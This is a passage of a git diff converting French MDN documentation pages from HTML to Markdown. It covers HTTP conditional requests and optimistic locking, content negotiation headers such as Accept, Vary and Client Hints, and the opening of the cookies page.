(<em>ptimistic locking algorithm</em>) utilisé par la plupart des wikis ou systèmes de contrôle des sources. Le concept est de permettre au client d'avoir des copies de la ressource, les laisser se modifier localement puis de contrôler la mise en concurrence en autorisant celles du premier client soumettant une mise à jour. Toutes les mises à jour ultérieures basées sur la version maintenant obsolète sont rejetées :</p> +Les requêtes conditionnelles permettent d'implémenter l'algorithme de contrôle de concurrence (_ptimistic locking algorithm_) utilisé par la plupart des wikis ou systèmes de contrôle des sources. Le concept est de permettre au client d'avoir des copies de la ressource, les laisser se modifier localement puis de contrôler la mise en concurrence en autorisant celles du premier client soumettant une mise à jour. Toutes les mises à jour ultérieures basées sur la version maintenant obsolète sont rejetées : -<p><img alt="Les requêtes conditionnelles permettent d'implémenter un mécanisme de verrou optimiste : c'est le plus rapide qui gagne et les autres reçoivent une erreur." src="httplock3.png"></p> +![Les requêtes conditionnelles permettent d'implémenter un mécanisme de verrou optimiste : c'est le plus rapide qui gagne et les autres reçoivent une erreur.](httplock3.png) -<p>Ce ci est implémenté par les en-têtes <a href="/fr/docs/Web/HTTP/Headers/If-Match"><code>If-Match</code></a> ou <a href="/fr/docs/Web/HTTP/Headers/If-Unmodified-Since"><code>If-Unmodified-Since</code></a>. Si l'ETag ne correspond pas au fichier original ou si le fichier a été modifié depuis son obtention, le changement est alors simplement rejeté avec une erreur <a href="/fr/docs/Web/HTTP/Status/412"><code>412</code></a> <code>Precondition Failed</code>. C'est maintenant à l'initiative du client que se réglera l'erreur : soit en prévenant le client de redémarrer avec la nouvelle version, soit en présentant au client les différences entre les deux versions pour l'aider à choisir les modifications à conserver.</p> +Ce ci est implémenté par les en-têtes [`If-Match`](/fr/docs/Web/HTTP/Headers/If-Match) ou [`If-Unmodified-Since`](/fr/docs/Web/HTTP/Headers/If-Unmodified-Since). Si l'ETag ne correspond pas au fichier original ou si le fichier a été modifié depuis son obtention, le changement est alors simplement rejeté avec une erreur [`412`](/fr/docs/Web/HTTP/Status/412) `Precondition Failed`. C'est maintenant à l'initiative du client que se réglera l'erreur : soit en prévenant le client de redémarrer avec la nouvelle version, soit en présentant au client les différences entre les deux versions pour l'aider à choisir les modifications à conserver. -<h3 id="dealing_with_the_first_upload_of_a_resource">Gérer le premier téléchargement d'une ressource</h3> +### Gérer le premier téléchargement d'une ressource -<p>Le premier téléchargement d'une ressource est un des cas résultant du comportement précédent. Comme toute mise à jour d'une ressource, le téléchargement va faire l'objet d'une situation de compétition si deux clients essaient un enregistrement au même instant. Pour éviter cela, les en-têtes conditionnels peuvent être employés : on ajoute <a href="/fr/docs/Web/HTTP/Headers/If-None-Match"><code>If-None-Match</code></a> avec la valeur particulière <code>'*'</code>, représentant n'importe quel etag. La requête aboutira seulement si la ressource n'existait pas avant :</p> +Le premier téléchargement d'une ressource est un des cas résultant du comportement précédent. Comme toute mise à jour d'une ressource, le téléchargement va faire l'objet d'une situation de compétition si deux clients essaient un enregistrement au même instant. Pour éviter cela, les en-têtes conditionnels peuvent être employés : on ajoute [`If-None-Match`](/fr/docs/Web/HTTP/Headers/If-None-Match) avec la valeur particulière `'*'`, représentant n'importe quel etag. La requête aboutira seulement si la ressource n'existait pas avant : -<p><img alt="Comme pour un upload normal, le premier upload d'une ressource est sujet à une situation de compétition. If-None-Match peut empêcher cela." src="httpfirst.png"></p> +![Comme pour un upload normal, le premier upload d'une ressource est sujet à une situation de compétition. If-None-Match peut empêcher cela.](httpfirst.png) -<p><code>If-None-Match</code> fonctionnera seulement avec les serveurs compatibles HTTP/1.1 (et postérieurs). Si vous n'avez pas la certitude que le serveur soit compatible, vous devez d'abord envoyer une requête <a href="/fr/docs/Web/HTTP/Methods/HEAD"><code>HEAD</code></a> à la ressource pour vérifier.</p> +`If-None-Match` fonctionnera seulement avec les serveurs compatibles HTTP/1.1 (et postérieurs). Si vous n'avez pas la certitude que le serveur soit compatible, vous devez d'abord envoyer une requête [`HEAD`](/fr/docs/Web/HTTP/Methods/HEAD) à la ressource pour vérifier. -<h2 id="conclusion">Conclusion</h2> +## Conclusion -<p>Les requêtes conditionnelles sont une fonctionnalité essentielle d'HTTP et permettent la construction d'applications efficaces et complexes. Pour le cache et la reprise des téléchargements, la seule tâche du webmaster consiste à configurer le serveur correctement. Dans certains environnements, paramétrer correctement les ETags peut s'avérer un véritable défi. Une fois que c'est fait, le navigateur pourra exploiter les requêtes conditionnelles.</p> +Les requêtes conditionnelles sont une fonctionnalité essentielle d'HTTP et permettent la construction d'applications efficaces et complexes. Pour le cache et la reprise des téléchargements, la seule tâche du webmaster consiste à configurer le serveur correctement. Dans certains environnements, paramétrer correctement les ETags peut s'avérer un véritable défi. Une fois que c'est fait, le navigateur pourra exploiter les requêtes conditionnelles. -<p>Pour les mécanismes de verrou, c'est l'inverse : les développeurs web devront publier une requête avec les en-têtes appropriés tandis que les webmasters peuvent en général se fier à l'application pour effectuer ces vérifications.</p> +Pour les mécanismes de verrou, c'est l'inverse : les développeurs web devront publier une requête avec les en-têtes appropriés tandis que les webmasters peuvent en général se fier à l'application pour effectuer ces vérifications. -<p>Dans les deux cas, les requêtes conditionnelles représentent une fonctionnalité essentielle du Web.</p> +Dans les deux cas, les requêtes conditionnelles représentent une fonctionnalité essentielle du Web. diff --git a/files/fr/web/http/content_negotiation/index.md b/files/fr/web/http/content_negotiation/index.md index a1fe95c477..6099ac2b69 100644 --- a/files/fr/web/http/content_negotiation/index.md +++ b/files/fr/web/http/content_negotiation/index.md @@ -3,141 +3,107 @@ title: La négociation de contenu slug: Web/HTTP/Content_negotiation translation_of: Web/HTTP/Content_negotiation --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>En <a href="/en-US/docs/Glossary/HTTP">HTTP</a>, la <em><strong>négociation de contenu</strong></em> est le mécanisme utilisé pour fournir différentes représentations d'une ressource à la même URI, afin que l'agent utilisateur puisse spécifier celle qui convient le mieux à l'utilisateur (par exemple, la langue d'un document, le format d'image, ou l'encodage du contenu).</p> +En [HTTP](/en-US/docs/Glossary/HTTP), la **_négociation de contenu_** est le mécanisme utilisé pour fournir différentes représentations d'une ressource à la même URI, afin que l'agent utilisateur puisse spécifier celle qui convient le mieux à l'utilisateur (par exemple, la langue d'un document, le format d'image, ou l'encodage du contenu). -<h2 id="Principes_de_la_négociation_de_contenu">Principes de la négociation de contenu</h2> +## Principes de la négociation de contenu -<p>Un document spécifique s'appelle une <em>ressource</em>. Lorsqu'un client veut y accéder, il le demande en utilisant son URL. Le serveur utilise cette URL pour choisir une des différentes versions qu'il peut fournir - chaque version étant appelée une représentation - et renvoie cette représentation spécifique au client. La ressource globale, ainsi que chacune de ses représentations, ont une URL spécifique. La façon dont une représentation spécifique est choisie est déterminée par la <em>négociation de contenu</em> et il existe plusieurs façons de négocier entre le client et le serveur.</p> +Un document spécifique s'appelle une _ressource_. Lorsqu'un client veut y accéder, il le demande en utilisant son URL. Le serveur utilise cette URL pour choisir une des différentes versions qu'il peut fournir - chaque version étant appelée une représentation - et renvoie cette représentation spécifique au client. La ressource globale, ainsi que chacune de ses représentations, ont une URL spécifique. La façon dont une représentation spécifique est choisie est déterminée par la _négociation de contenu_ et il existe plusieurs façons de négocier entre le client et le serveur. -<p><img alt="" src="httpnego.png"></p> +![](httpnego.png) -<p>La sélection de la représentation la mieux adaptée se fait par l'un des deux mécanismes suivants:</p> +La sélection de la représentation la mieux adaptée se fait par l'un des deux mécanismes suivants: -<ul> - <li>Des <a href="/fr/docs/Web/HTTP/Headers">en-têtes HTTP</a> spécifiques envoyés par le client (<em>négociation pilotée par le serveur </em>ou <em>négociation proactive</em>), qui est le moyen standard de négocier un type de ressource spécifique.</li> - <li>Les <a href="/fr/docs/Web/HTTP/Status">codes réponses</a> {{HTTPStatus("300")}} (Multiple Choices) ou {{HTTPStatus("406")}} (Not Acceptable) envoyés par le serveur (<em>négociation pilotée par le client</em> ou <em>négociation réactive</em>), qui sont utilisés comme mécanismes de repli.</li> -</ul> +- Des [en-têtes HTTP](/fr/docs/Web/HTTP/Headers) spécifiques envoyés par le client (_négociation pilotée par le serveur_ ou _négociation proactive_), qui est le moyen standard de négocier un type de ressource spécifique. +- Les [codes réponses](/fr/docs/Web/HTTP/Status) {{HTTPStatus("300")}} (Multiple Choices) ou {{HTTPStatus("406")}} (Not Acceptable) envoyés par le serveur (_négociation pilotée par le client_ ou _négociation réactive_), qui sont utilisés comme mécanismes de repli. -<p>Au fil des ans, d'autres propositions de négociation de contenu, comme la négociation transparente du contenu et l'en-tête <code>Alternates</code>, ont été proposées. Elles n'ont pas réussi à emporter l'adhésion et ont été abandonnées.</p> +Au fil des ans, d'autres propositions de négociation de contenu, comme la négociation transparente du contenu et l'en-tête `Alternates`, ont été proposées. Elles n'ont pas réussi à emporter l'adhésion et ont été abandonnées. -<h2 id="La_négociation_de_contenu_gérée_par_le_serveur">La négociation de contenu gérée par le serveur</h2> +## La négociation de contenu gérée par le serveur +Dans la _négociation de contenu gérée par le serveur_, ou négociation proactive de contenu, le navigateur (ou tout autre type de client) envoie plusieurs en-têtes HTTP avec l'URL décrivant les choix préférés de l'utilisateur. Le serveur les utilise comme indications et un algorithme interne choisit le meilleur contenu à servir au client. L'algorithme est spécifique au serveur et n'est pas défini dans la norme. Voir, par exemple, l'[algorithme de négociation d'Apache 2.2](http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm). +![](httpnegoserver.png) -<p>Dans la <em>négociation de contenu gérée par le serveur</em>, ou négociation proactive de contenu, le navigateur (ou tout autre type de client) envoie plusieurs en-têtes HTTP avec l'URL décrivant les choix préférés de l'utilisateur. Le serveur les utilise comme indications et un algorithme interne choisit le meilleur contenu à servir au client. L'algorithme est spécifique au serveur et n'est pas défini dans la norme. Voir, par exemple, l'<a href="http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm">algorithme de négociation d'Apache 2.2</a>.</p> +La norme HTTP/1.1 définit la liste des en-têtes standard qui initient la négociation pilotée par le serveur ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Bien qu'à proprement parler {{HTTPHeader("User-Agent")}} ne figure pas dans la liste, il est aussi parfois utilisé pour envoyer une représentation spécifique de la ressource demandée, bien que cela ne soit pas considéré comme une bonne pratique. Le serveur utilise l'en-tête {{HTTPHeader("Vary")}} pour indiquer quels en-têtes il a effectivement utilisés pour la négociation de contenu (ou plus précisément les en-têtes de réponse associés), pour que les [caches](/en-US/docs/Web/HTTP/Caching) puissent fonctionner de manière optimale. -<p><img alt="" src="httpnegoserver.png"></p> +En outre, il existe une proposition expérimentale visant à ajouter d'autres en-têtes à la liste des en-têtes disponibles, appelés indications (_hints_) du client. Ces hints indiquent sur quel type de périphérique l'agent utilisateur fonctionne (par exemple, s'il s'agit d'un ordinateur de bureau ou d'un périphérique mobile). -<p>La norme HTTP/1.1 définit la liste des en-têtes standard qui initient la négociation pilotée par le serveur ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Bien qu'à proprement parler {{HTTPHeader("User-Agent")}} ne figure pas dans la liste, il est aussi parfois utilisé pour envoyer une représentation spécifique de la ressource demandée, bien que cela ne soit pas considéré comme une bonne pratique. Le serveur utilise l'en-tête {{HTTPHeader("Vary")}} pour indiquer quels en-têtes il a effectivement utilisés pour la négociation de contenu (ou plus précisément les en-têtes de réponse associés), pour que les <a href="/en-US/docs/Web/HTTP/Caching">caches</a> puissent fonctionner de manière optimale.</p> +Même si la négociation de contenu gérée par le serveur est le moyen le plus courant de s'entendre sur une représentation spécifique d'une ressource, elle présente plusieurs inconvénients: -<p>En outre, il existe une proposition expérimentale visant à ajouter d'autres en-têtes à la liste des en-têtes disponibles, appelés indications (<em>hints</em>) du client. Ces hints indiquent sur quel type de périphérique l'agent utilisateur fonctionne (par exemple, s'il s'agit d'un ordinateur de bureau ou d'un périphérique mobile).</p> +- Le serveur n'a pas une connaissance totale du navigateur. Même avec l'extension _Client Hints_, il n'a pas une connaissance complète des capacités du navigateur. Contrairement à la négociation de contenu réactif où le client fait le choix, celui du serveur est toujours quelque peu arbitraire. +- L'information fournie par le client est assez verbeuse (la compression de l'en-tête HTTP/2 atténue ce problème) et est un risque d'atteinte à la vie privée (empreintes digitales HTTP) +- Comme plusieurs représentations d'une ressource donnée sont envoyées, les caches partagés sont moins efficaces et les implémentations des serveurs sont plus complexes. -<p>Même si la négociation de contenu gérée par le serveur est le moyen le plus courant de s'entendre sur une représentation spécifique d'une ressource, elle présente plusieurs inconvénients:</p> +### The `Accept` header -<ul> - <li>Le serveur n'a pas une connaissance totale du navigateur. Même avec l'extension <em>Client Hints</em>, il n'a pas une connaissance complète des capacités du navigateur. Contrairement à la négociation de contenu réactif où le client fait le choix, celui du serveur est toujours quelque peu arbitraire.</li> - <li>L'information fournie par le client est assez verbeuse (la compression de l'en-tête HTTP/2 atténue ce problème) et est un risque d'atteinte à la vie privée (empreintes digitales HTTP)</li> - <li>Comme plusieurs représentations d'une ressource donnée sont envoyées, les caches partagés sont moins efficaces et les implémentations des serveurs sont plus complexes.</li> -</ul> +The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types. -<h3 id="The_Accept_header">The <code>Accept</code> header</h3> +The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of [default values for common browsers](/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values) is available. -<p>The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types.</p> +### The `Accept-CH` header {{experimental_inline}} -<p>The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">default values for common browsers</a> is available.</p> +> **Note :** This is part of an **experimental** technology called _Client Hints_. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later. -<h3 id="The_Accept-CH_header_experimental_inline">The <code>Accept-CH</code> header {{experimental_inline}}</h3> +The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are: -<div class="note"> -<p><strong>Note :</strong> This is part of an <strong>experimental</strong> technology called <em>Client Hints</em>. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later.</p> -</div> +| Value | Meaning | +| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `Device-Memory` | Indicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as `0.5`. | +| `DPR` | Indicates the client's device pixel ratio. | +| `Viewport-Width` | Indicates the layout viewport width in CSS pixels. | +| `Width` | Indicates the resource width in physical pixels (in other words the intrinsic size of an image). | -<p>The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are:</p> +### The `Accept-Charset` header -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Value</th> - <th scope="col">Meaning</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>Device-Memory</code></td> - <td>Indicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as <code>0.5</code>. </td> - </tr> - <tr> - <td><code>DPR</code></td> - <td>Indicates the client's device pixel ratio.</td> - </tr> - <tr> - <td><code>Viewport-Width</code></td> - <td>Indicates the layout viewport width in CSS pixels. </td> - </tr> - <tr> - <td><code>Width</code></td> - <td>Indicates the resource width in physical pixels (in other words the intrinsic size of an image).</td> - </tr> - </tbody> -</table> +The {{HTTPHeader("Accept-Charset")}} header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like `ISO-8859-1,utf-8;q=0.7,*;q=0.7` for a Western European locale. -<h3 id="The_Accept-Charset_header">The <code>Accept-Charset</code> header</h3> +With UTF-8 now being well-supported, being the preferred way of encoding characters, [and to guarantee better privacy through less configuration-based entropy](https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy), browsers omit the `Accept-Charset` header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header. -<p>The {{HTTPHeader("Accept-Charset")}} header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> for a Western European locale.</p> +### The `Accept-CH-Lifetime` header -<p>With UTF-8 now being well-supported, being the preferred way of encoding characters, <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">and to guarantee better privacy through less configuration-based entropy</a>, browsers omit the <code>Accept-Charset</code> header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header.</p> +> **Note :** This is part of an **experimental** technology called *Client Hints* and is only available in Chrome 61 or later. -<h3 id="The_Accept-CH-Lifetime_header">The <code>Accept-CH-Lifetime</code> header</h3> +The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the `Device-Memory` value of the `Accept-CH` header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional. -<div class="note"> -<p><strong>Note :</strong> This is part of an <strong>experimental</strong> technology called <em>Client Hints </em> and is only available in Chrome 61 or later.</p> -</div> +### The `Accept-Encoding` header -<p>The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the <code>Device-Memory</code> value of the <code>Accept-CH</code> header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional.</p> +The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: `br, gzip;q=0.8`) that indicates the priority of the encoding values. The default value `identity` is at the lowest priority (unless otherwise declared). -<h3 id="The_Accept-Encoding_header">The <code>Accept-Encoding</code> header</h3> +Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression. -<p>The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: <code>br, gzip;q=0.8</code>) that indicates the priority of the encoding values. The default value <code>identity</code> is at the lowest priority (unless otherwise declared).</p> +### The `Accept-Language` header -<p>Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.</p> +The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: `"de, en;q=0.7`"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences. -<h3 id="The_Accept-Language_header">The <code>Accept-Language</code> header</h3> +Due to the [configuration-based entropy](https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy) increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience: -<p>The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: <code>"de, en;q=0.7</code>"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.</p> +- They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the `Accept-Language` header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance. +- Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header. -<p>Due to the <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">configuration-based entropy</a> increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:</p> +### The `User-Agent` header -<ul> - <li>They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the <code>Accept-Language</code> header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance.</li> - <li>Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header.</li> -</ul> +> **Note :** Though there are legitimate uses of this header for selecting content, [it is considered bad practice](/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent) to rely on it to define what features are supported by the user agent. -<h3 id="The_User-Agent_header">The <code>User-Agent</code> header</h3> +The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of _product tokens_ and _comments_. -<div class="note"> -<p><strong>Note :</strong> Though there are legitimate uses of this header for selecting content, <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">it is considered bad practice</a> to rely on it to define what features are supported by the user agent.</p> -</div> +A _product token_ is a name followed by a '`/`' and a version number, like `Firefox/4.0.1`. There may be as many of them as the user-agent wants. A _comment_ is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by '`;`'. -<p>The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of <em>product tokens</em> and <em>comments</em>.</p> +### The `Vary` response header -<p>A <em>product token</em> is a name followed by a '<code>/</code>' and a version number, like <code>Firefox/4.0.1</code>. There may be as many of them as the user-agent wants. A <em>comment</em> is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by '<code>;</code>'.</p> +In opposition to the previous `Accept-*` headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user. -<h3 id="The_Vary_response_header">The <code>Vary</code> response header</h3> +The special value of '`*`' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content. -<p>In opposition to the previous <code>Accept-*</code> headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.</p> +The `Vary` header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '`*`' prevents caching from occurring, as the cache cannot know what element is behind it. -<p>The special value of '<code>*</code>' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.</p> +## Agent-driven negotiation -<p>The <code>Vary</code> header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '<code>*</code>' prevents caching from occurring, as the cache cannot know what element is behind it.</p> +Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern. -<h2 id="Agent-driven_negotiation">Agent-driven negotiation</h2> +From the beginnings of HTTP, the protocol allowed another negotiation type: _agent-driven negotiation_ or _reactive negotiation_. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use. -<p>Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.</p> +![](httpnego3.png) -<p>From the beginnings of HTTP, the protocol allowed another negotiation type: <em>agent-driven negotiation</em> or <em>reactive negotiation</em>. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.</p> - -<p><img alt="" src="httpnego3.png"></p> - -<p>Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the <em>server-driven negotiation</em>, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.</p> +Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the _server-driven negotiation_, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user. diff --git a/files/fr/web/http/cookies/index.md b/files/fr/web/http/cookies/index.md index 1568fcf41d..9d397af2a7 100644 --- a/files/fr/web/http/cookies/index.md +++ b/files/fr/web/http/cookies/index.md @@ -7,188 +7,172 @@ tags: - HTTP translation_of: Web/HTTP/Cookies --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Un cookie HTTP (cookie web, cookie de navigateur) est un petit ensemble de données qu'un serveur envoie au navigateur web de l'utilisateur. Le navigateur peut alors le stocker localement, puis le renvoyer à la prochaine requête vers le même serveur. Typiquement, cette méthode est utilisée par le serveur pour déterminer si deux requêtes proviennent du même navigateur.</p> -<p>Cela permet, par exemple, de garder un utilisateur connecté. Les cookies permettent de conserver de l'information en passant par le procotole HTTP qui est lui "sans état".</p> +Un cookie HTTP (cookie web, cookie de navigateur) est un petit ensemble de données qu'un serveur envoie au navigateur web de l'utilisateur. Le navigateur peut alors le stocker localement, puis le renvoyer à la prochaine requête vers le même serveur. Typiquement, cette méthode est utilisée par le serveur pour déterminer si deux requêtes proviennent du même navigateur. -<p>Les cookies sont utilisés pour 3 raisons principales :</p> +Cela permet, par exemple, de garder un utilisateur connecté. Les cookies permettent de conserver de l'information en passant par le procotole HTTP qui est lui "sans état". -<dl> - <dt>Gestion des sessions</dt> - <dd>Logins, panier d'achat, score d'un jeu, ou tout autre chose dont le serveur doit se souvenir.</dd> - <dt>Personnalisation</dt> - <dd>Préférences utilisateur, thèmes, et autres paramètres.</dd> - <dt>Suivi</dt> - <dd>Enregistrement et analyse du comportement utilisateur.</dd> -</dl> +Les cookies sont utilisés pour 3 raisons principales : -<p>Les cookies étaient auparavant utilisés pour le stockage côté client. C'était légitime lorsque les cookies étaient la seule manière de stocker des données côté client, mais il est aujourd'hui recommandé de préférer les APIs modernes de stockage. Les cookies sont envoyés avec chaque requête, ils peuvent donc avoir un impact négatif sur les performances (particulièrement pour des connexions mobiles). Les APIs modernes de stockage côté client sont l'<a href="/fr/docs/Web/API/Web_Storage_API" title="DOM Storage">API Web storage</a> (<code>localStorage</code> et <code>sessionStorage</code>) et <a href="/fr/docs/Web/API/API_IndexedDB">IndexedDB</a>.</p> +- Gestion des sessions + - : Logins, panier d'achat, score d'un jeu, ou tout autre chose dont le serveur doit se souvenir. +- Personnalisation + - : Préférences utilisateur, thèmes, et autres paramètres. +- Suivi + - : Enregistrement et analyse du comportement utilisateur. -<div class="note"> -<p><strong>Note :</strong> Pour voir les cookies stockés (et d'autres stockages que le navigateur peut conserver), vous ouvrez l'<a href="/fr/docs/Outils/Inspecteur_de_stockage">Inspecteur de stockage</a> des Outils Développeur et sélectionnez Cookies dans l'onglet stockage (pour Firefox).</p> -</div> +Les cookies étaient auparavant utilisés pour le stockage côté client. C'était légitime lorsque les cookies étaient la seule manière de stocker des données côté client, mais il est aujourd'hui recommandé de préférer les APIs modernes de stockage. Les cookies sont envoyés avec chaque requête, ils peuvent donc avoir un impact négatif sur les performances (particulièrement pour des connexions mobiles). Les APIs modernes de stockage côté client sont l'[API Web storage](/fr/docs/Web/API/Web_Storage_API "DOM Storage") (`localStorage` et `sessionStorage`) et [IndexedDB](/fr/docs/Web/API/API_IndexedDB). -<h2 id="Création_de_cookies">Création de cookies</h2> +> **Note :** Pour voir les cookies stockés (et d'autres stockages que le navigateur peut conserver), vous ouvrez l'[Inspecteur de stockage](/fr/docs/Outils/Inspecteur_de_stockage) des Outils Développeur et sélectionnez Cookies dans l'onglet stockage (pour Firefox). -<p>Après avoir reçu une requête HTTP, un serveur peut renvoyer sa réponse avec une ou des entête(s) {{HTTPHeader("Set-Cookie")}}. Le cookie ou les cookies ainsi définis sont habituellement stockés par le navigateur, puis renvoyés lors des prochaines requêtes au même serveur, dans une entête HTTP {{HTTPHeader("Cookie")}}. Une date d'expiration ou une durée peut être spécifiée par cookie, après quoi le cookie ne sera plus envoyé. De plus, des restrictions à un domaine ou un chemin spécifiques peuvent être spécifiés, limitant quand le cookie est envoyé.</p> 